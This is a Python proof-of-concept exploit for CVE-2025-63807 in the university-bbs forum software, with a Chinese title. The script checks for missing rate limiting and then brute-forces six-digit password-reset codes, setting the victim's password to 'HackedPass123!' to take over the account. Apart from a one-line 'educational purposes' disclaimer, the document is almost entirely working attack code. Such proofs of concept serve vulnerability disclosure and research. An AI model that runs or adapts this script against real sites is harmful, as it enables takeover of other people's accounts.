CVE-2025-63807 weijiang1994 university-bbs 验证码暴力破解导致账户接管漏洞

#!/usr/bin/env python3 """ CVE-2025-63807 PoC - weijiang1994 university-bss weak verification code brute force Note: This PoC is for educational and security research purposes only. """ import requests import itertools import string import time TARGET_URL = "http://target.com" # Replace with target URL VERIFY_CODE_ENDPOINT = "/api/verify/code" # Replace with actual endpoint FORGOT_PASSWORD_ENDPOINT = "/api/user/forgot-password" def generate_verification_codes(length=6): """Generate possible verification codes based on common patterns""" # Common numeric patterns for code in itertools.product(string.digits, repeat=length): yield ''.join(code) def check_rate_limiting(): """Check if rate limiting is implemented""" response = requests.post(f"{TARGET_URL}{VERIFY_CODE_ENDPOINT}", json={ "email": "[email protected]" }) # Send multiple requests to test rate limiting for i in range(100): resp = requests.post(f"{TARGET_URL}{VERIFY_CODE_ENDPOINT}", json={ "email": "[email protected]" }) if resp.status_code == 429: print("Rate limiting detected") return False print("No rate limiting detected - vulnerable!") return True def brute_force_verification_code(email, max_attempts=10000): """ Attempt to brute force the verification code """ print(f"[*] Starting brute force attack on {email}") print(f"[*] Target: {TARGET_URL}") # Request a new verification code first requests.post(f"{TARGET_URL}{VERIFY_CODE_ENDPOINT}", json={ "email": email }) attempt = 0 for code in generate_verification_codes(6): attempt += 1 if attempt > max_attempts: break response = requests.post(f"{TARGET_URL}{FORGOT_PASSWORD_ENDPOINT}", json={ "email": email, "code": code, "new_password": "HackedPass123!" }) if "success" in response.text.lower() or response.status_code == 200: print(f"[!] Valid code found: {code}") print(f"[!] Account takeover successful!") return code if attempt % 100 == 0: print(f"[*] Attempts: {attempt}") print("[-] Brute force failed or rate limiting prevented further attempts") return None if __name__ == "__main__": print("CVE-2025-63807 PoC") print("=" * 50) # First check if vulnerable (no rate limiting) if not check_rate_limiting(): print("Target appears to have rate limiting - may not be vulnerable") # Uncomment to run actual attack # target_email = "[email protected]" # brute_force_verification_code(target_email)